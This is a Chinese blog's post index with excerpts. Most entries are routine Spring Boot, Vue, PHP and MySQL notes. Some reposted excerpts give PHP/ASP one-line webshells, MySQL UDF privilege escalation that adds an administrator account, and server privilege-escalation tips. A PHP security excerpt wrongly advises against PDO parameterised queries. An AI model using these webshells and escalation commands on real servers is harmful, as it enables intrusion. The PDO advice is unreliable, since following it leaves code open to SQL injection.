- 博客(197)
- 资源 (10)
- 收藏
- 关注
原创 spring-boot 3.2 + spring-boot-starter-quartz + HikariCP配置
如果自动建表失败,则手动执行如下建表建索引的 SQL 语句(这些SQL 来自quartz-2.3.2.jar 中 的 tables_mysql_innodb.sql 文件),再重启应用。在网上找了很久没有找到spring-boot 3.x版基于HikariCP的Quartz 配置,大部分是基于Druid连接池的,于是自己动手探究了一下。如果可以启动,接下来就编写对 Quartz 任务进行CRUD、执行指定 Job 的逻辑,和相应的 Job。
2024-05-27 20:15:30
1055
1
原创 Vue使用总结-包括Vue2和Vue3
使用计算属性可以避免重复计算。计算属性和methods中方法的区别就是:计算属性中方法返回的值会基于其响应式依赖被缓存,而普通方法会每次重新执行不缓存。
2023-10-06 21:50:56
361
原创 Windows下GCC编译Python3扩展
当前环境是Win7 + Python3.4 + GCC4.9.3不需要按网上流传的方法重新安装一个巨大的Visual Studio,或者修改Python的安装脚本,直接用下面两条命令即可:gcc.exe -mdll -O -Wall -Id:\Python\include -Id:\Python\include -c main.c -o demo.ogcc -shared -s mai...
2018-11-15 17:27:45
2161
1
原创 Apache服务器无法获取Authorization Header
Apache服务器无法获取Authorization Header在开发APP API的过程中发现,服务端无法时进行OAuth2.0认证,进一步断点得知问题出在apache_request_headers这个函数上。后来在stackoverflow上找到了解决方法: SetEnvIf Authorization “(.*)” HTTP_AUTHORIZATION=$1这是apache文档对它的定义:
2016-04-08 09:53:24
5755
原创 nginx + php ( php-fpm )编译安装
这里用的是nginx1.9, php5.3.28先准备好nginx和它依赖的源码包:pcre, openssl, zlib1>安装nginxtar zxvf pcre-8.36.tar.gztar zxvf openssl-1.0.2-latest.tar.gztar zxvf zlib-1.2.8.tar.gzmv pcre-8.36 /usr/l
2015-05-22 18:05:14
1988
原创 BoIIS -- 免费IIS批量建站工具箱
2012年开发的免费批量建站工具箱,现在放出来给需要的站长们使用。适用版本:Win2000/XP/Win2003/Win2008/Win2012等 + 相应IIS环境下运行(IIS7及以上请自行开启IIS6兼容模式)。本工具箱对.Net Framework无依赖,不用安装巨大的.Net环境,做站群服务器的话会比较方便。大小:1.5MB下载地址:http://boiis.lordxi...
2015-04-07 00:59:41
5023
原创 一个Hadoop HDFS操作类
一个Hadoop HDFS操作类package com.viburnum.util;import java.net.URI;import java.text.SimpleDateFormat;import java.util.Date;import java.io.*;import org.apache.hadoop.conf.Configuration;import
2015-04-02 09:43:18
756
1
原创 正则匹配百度结果
重点是先抓取里的内容,其它的就好说了:using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.IO;using System.Text.RegularExpressions;namespace ReadFile{ class Progra
2013-12-06 17:45:32
824
转载 eval(gzinflate(base64_decode无限加密文件的解密代码
eval(gzinflate(base64_decode无限加密文件的解密代码:$codefile = "function.php.txt";$fp1 = fopen($codefile, "r");$contents = fread($fp1, filesize($codefile));fclose($fp1);// while (preg_match("/eval\s\
2013-07-13 14:47:04
2777
转载 ASP+PHP+ASP.NET+JSP各种变形一句话大集结
var lcx = {'名字' : Request.form('#'), '性别' : eval, '年龄' : '18', '昵称' : '请叫我一声老大'};lcx.性别((lcx.名字)+'');%>用冰狐就行了@preg_replace("/[email]/e",$_POST['h'],"error"); ?> 菜刀附加数据: h=@ev
2013-07-02 16:48:15
2749
转载 访问和使用IIS中Metabase Schema
These examples were taken from the %SystemDrive%\Inetpub\AdminScripts\AdsUtil.vbs tool. AdsUtil.vbs contains more functionality and extensive error checking code that was not included in these samples
2013-04-13 15:05:27
826
转载 用WinInet POST/GET数据
'调用示例Debug.Print WinInetGet("http://127.0.0.1/index.html")Debug.Print WinInetPost("http://127.0.0.1/index.php", "UserName=admin")'上面两个函数都是返回byte数组,如果出现乱码可以通过以下这个函数安指定编码转换一下就可以了。'比如:Debug.Print
2013-04-02 17:17:16
1827
转载 VB开发BHO插件的方法
1.找出VB安装文件的一个东西F:\VB6.0\COMMON\TOOLS\VB\UNSUPPRT\TYPLIB,这个目录里有一个文件MKTYPLIB是用来生成库文件的。 复制到一个新建文件夹备用2.新建一个文本文件,把下面的代码复制进去:[uuid(CF9D9B76-EC4B-470D-99DC-AEC6F36A9261),helpstring("VB IObjectW
2013-04-02 13:46:58
1097
转载 VB Wininet(Wininet.dll)系统列函数一览
WinInet WinInet(「Windows Internet」)API帮助程序员使用三个常见的Internet协议,这三个协议是:用于World Wide Web万维网的超文本传输协议(HTTP:Hypertext Transfer Protocol)、文件传输协议(FTP:File Transfer Protocol)和另一个称为Gopher的文件传输协议。WinInet函数的语法与常
2013-04-01 14:21:29
1848
转载 PHP has encountered an Access Violation at *** 的问题
解决方法如下:1、更新到5.2后php版本 2、是否zend所需的dll文件所在目录给的权限不够,必须有读取和运行的权限 3、如果使用的是windows系统,是否设置过应用池,比如池中限制了什么4、高版本的PHP和Mysql存在兼容性的问题。c:/windows/system32下的libmysql.dll 使用php下的,不要使用mysql下的,因为两个程序下都有5、ph
2013-03-15 11:09:22
1001
转载 MySQL服务器提权两例
一 UDF提权这类提权方法我想大家已经知道了,我大致写一下,具体语句如下:create function cmdshell returns string soname ’udf.dll’select cmdshell(’net user iis_user 123!@#abcABC /add’);select cmdshell(’net localgroup administ
2013-01-31 14:55:20
605
转载 服务器提权攻略
第一,WEBSHELL 权限提升技巧C:\DocumentsandSettings\AllUsers\ApplicationData\Symantec\pcAnywhere\看能否跳转到这个目录,如果行那就最好了,直接下它的 CIF 文件,破解得到 pcAnywhere密码,登陆c:\ProgramFiles\serv-u\C:\WINNT\system32\config\
2013-01-24 17:01:58
2849
转载 Zkeys提权一则
ZKEYS 是一个国内比较常用的IDC虚拟主机系统原名:AutoHost后改名:ZKEYS 虚拟管理系统支持.NET 的话 查找注册表HKEY_LOCAL_MACHINESOFTWAREZKEYS默认会有 ZKEYS 路径找到路径后如果找不到 可以猜 一般都在根目录ZKEYS 管理系统对 目录的限制 一般都不怎么严谨所以这个时候你懂得。。。一般都在硬盘的根目
2013-01-24 17:00:21
1735
转载 php读取网络文件(curl, fsockopen ,file_get_contents 几个方法的效率对比)
最近需要获取别人网站上的音乐数据。用了file_get_contents函数,但是总是会遇到获取失败的问题,尽管按照手册中的 例子设置了超时,可多数时候不会奏效:$config['context'] = stream_context_create(array(‘http’ => array(‘method’ => “GET”, ’timeout’ => 5//这个超时时间不稳定
2013-01-23 14:21:51
1284
转载 VB网络编程(webbrowser应用及Inet抓包封包)
网络的重要性不用我说,所以关于网络的编程对我我们来说也是非常重要,非常实用的! 但是我在网络上却没有看到多少关于VB网络编程方面的知识,一方面是VB用的人比较少,不会用就说VB不好(个人认为学好VB以后C++、Java一看就会!);另一方面是大家不愿意公开这方面的知识,自己辛辛苦苦探索的,还得靠它吃饭,怎么可能轻易拿出来公布?但是社会要发展,人类要进步,为了让更多的人受益,为了让体
2013-01-23 14:06:05
3611
转载 Linux下的权限控制工具setfacl和getfacl详解
setfacl [-bkndRLPvh][{-m|-x} acl_spec][{-M|-X} acl_file] file ...setfacl --restore=file描述setfacl用来在命令行里设置ACL。在命令行里,一系列的命令跟随以一系列的文件名。选项-m和-x后边跟以acl规则。多条acl规则以逗号(,)隔开。选项-M和-X用来从文件或标准输入读取
2012-11-09 11:57:48
2925
转载 SSH远程会话管理工具 - screen使用教程
你是不是经常需要 SSH 或者 telent 远程登录到 Linux 服务器?你是不是经常为一些长时间运行的任务而头疼,比如系统备份、ftp 传输等等。通常情况下我们都是为每一个这样的任务开一个远程终端窗口,因为他们执行的时间太长了。必须等待它执行完毕,在此期间可不能关掉窗口或者断开连接,否则这个任务就会被杀掉,一切半途而废了。元凶:SIGHUP 信号让我们来看看为什么关掉窗口/断开连接会
2012-11-08 15:22:53
789
转载 linux下查看用户及用户组的命令
whois功能说明:查找并显示用户信息。语 法:whois [帐号名称]补充说明:whois指令会去查找并显示指定帐号的用户相关信息,因为它是到Network Solutions 的WHOIS数据库去查找,所以该帐号名称必须在上面注册方能寻获,且名称没有大小写的差别。---------------------------------------------------------
2012-11-05 15:41:35
963
转载 PHP安全设置一则
不要为 SQL 语句使用 PDO 参数传值,以防止 SQL injection.务必使用 htmlspecialchars/htmlentities 和/或者 strip_tags 转义 html 和JavaScript 来防止 XSS(交叉站点脚本) 攻击.务必使用 sessions 和安全套接字来防止 session 被劫持,采用 md5 校验和来验证 session ids.
2012-10-16 10:17:03
350
转载 PHP调用FCKEditor和CKEditor
PHP页面:/* 编辑器 */include_once "../include/fckeditor/fckeditor.php";//把编辑器引进来$editor = new FCKeditor('content');//表单项的名称$editor->BasePath = "/fckeditor/";//编辑器所在目录$editor->ToolbarSet = "Norma
2012-10-15 14:05:27
986
转载 爱上朴实的CSS细节
英文原文:Learning to Love the Boring Bits of CSS 未来的CSS太让人兴奋了:一方面,是全新的页面布局方式;另一方面,是酷炫的滤镜、颜色等视觉效果。这些CSS,受开发者追捧,被杂志和博客文章铺天盖地地介绍。 如果说这些特性是CSS华丽的一面,那我们来看看它朴实的一面:很不起眼的东西,如选择器、单位、函数(方法)。我经常说这是繁琐的东西,但我意思是它
2012-09-28 16:04:05
474
原创 常用和必备的Javascript片段
// JavaScript Documentvar BROWSER = {};var USERAGENT = navigator.userAgent.toLowerCase();browserVersion({'ie':'msie','firefox':'','chrome':'','opera':'','safari':'','mozilla':'','webkit':'','max
2012-09-27 18:23:03
519
转载 SEO之301重定向
页面永久性移走(301重定向)是一种非常重要的“自动转向”技术。 301重定向可促进搜索引擎优化效果 从搜索引擎优化角度出发,301重定向是网址重定向最为可行的一种办法。当网站的域名发生变更后,搜索引擎只对新网址进行索引,同时又会把旧地址下原有的外部链接如数转移到新地址下,从而不会让网站的排名因为网址变更而收到丝毫影响。同样,在使用301永久性重定向命令让多个域名指向网站主域时
2012-09-26 10:54:23
532
转载 PHP如何释放内存之unset销毁变量并释放内存详解
PHP的unset()函数用来清除、销毁变量,不用的变量,我们可以用unset()将它销毁。但是某些时候,用unset()却无法达到销毁变量占用的内存!我们先看一个例子:view source?12$s = str_repeat('1',255); //产生由255个1组成的字符串
2012-09-25 16:21:57
1630
2
转载 PHP面向对象(OOP)中__set(),__get(),__isset(),__unset()四个方法的应用
一般来说,总是把类的属性定义为private,这更符合现实的逻辑。但是, 对属性的读取和赋值操作是非常频繁的,因此在PHP5中,预定义了两个函数”__get()”和”__set()”来获取和赋值其属性,以及检查属性的”__isset()”和删除属性的方法”__unset()”。上一节中,我们为每个属性做了设置和获取的方法,在PHP5中给我们提供了专门为属性设置值和获取值的方法,”__set()
2012-09-25 16:16:56
959
转载 mysql存储过程动态参数查询
1、动态sql, 即动态参数: 在存储过程中,想要直接用表名变量做参数,动态执行sql,不能直接写?1234567createprocedure ( $tableName char(20) ) BEGIN select* from tableName; END
2012-09-04 17:26:20
1192
转载 MySql的存储过程学习小结
1.用变量做表名:简单的用set或者declare语句定义变量,然后直接作为sql的表名是不行的,mysql会把变量名当作表名。在其他的sql数据库中也是如此,mssql的解决方法是将整条sql语句作为变量,其中穿插变量作为表名,然后用sp_executesql调用该语句。这在mysql5.0之前是不行的,5.0之后引入了一个全新的语句,可以达到类似sp_executesql的功能
2012-08-30 09:22:06
638
转载 mysql存储过程写法—动态参数运用
--删除 drop procedure if exists up_common_select --创建 CREATE PROCEDURE `up_common_select` ( in t_name varchar(50) )
2012-08-30 09:13:12
644
转载 UCenter的应用整合与单点登录分析
一直在用康盛的产品,自然少不了单点登陆,最近重新研究了下ucenter的机制,其实它的基本原理就一句话:跨域设置用户信息。下面只对用户登陆做比较详细说明,其他注册、PM等操作其实原理差不多。用户登陆view sourceprint?1do_login.php[uchome]2
2012-08-18 23:03:39
1140
转载 PHP实现计划任务的几种方法
PHP的实现决定了它没有Java和.Net这种AppServer的概念, 而http协议是一个无状态的协议, php只能被用户触发, 被调用, 调用后会自动退出内存, 没有常驻内存, 就没有办法准确的定时处理那么, 如果需要用PHP定时执行某些任务的话, 可以有以下俩个方法:Linux下crontab, windows下计划任务找个被频繁调用的网页, 里面加上一个检测代码
2012-08-03 13:53:35
4562
转载 PHP重载构造函数
php不支持重载类的构造函数,但自己可以实现的: class abc{ function __construct(){ $num =func_num_args(); switch ($num){ case 0: echo "none "; break; case 1: echo "one ";
2012-07-25 14:30:47
1485
转载 php获取文件后缀名的几种方法
function getExt($filename) { //strrpos()函数查找字符串在另一个字符串中最后一次出现的位置。如果成功,则返回位置,否则返回 false。 $ext = strtolower ( substr ( $filename, strrpos ( $filename, '.' ) + 1 ) ); return $ext;}fu
2012-06-29 14:34:23
582
转载 PHP读取Excel文件的实现代码
涉及知识点: php对excel文件进行循环读取 php对字符进行ascii编码转化,将字符转为十进制数 php对excel日期格式读取,并进行显示转化 php对汉字乱码进行编码转化 在此下载PHPExcel类先:http://phpexcel.codeplex.comrequire_once 'PHPExcel.php'; /*
2012-05-24 17:14:11
454
转载 ini_setini_get 可操作配置参数列表
为了使自己的程序在不同的平台中拥有更好的兼容性,很多时候我们都要获取当前Php的运行环境参数。 比如我们常用到的: 获取 magic_quotes_gpc 状态,来决定当表单提交时我们是否转义(addslashes)数据;设定 max_execution_time 来延长 程序的执行时间;设定 error_reporting 使自己的项目在开发与运营阶段切换;设定 me
2012-05-24 17:06:31
1563
转载 PHPMailer通过163邮箱发信
include_once('phpmailer/class.phpmailer.php');$mail = new PHPMailer();//设置SMTP发邮件$mail->IsSMTP();//发信的SMTP服务器地址$mail->Host = 'smtp.163.com';//'smtp.gmail.com';//调试时显示发信信息$mail->SMTPDebug
2012-05-24 16:40:54
6200
Windows版libxml2.7.8
2018-05-25
Excel2003教案
2011-03-16
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人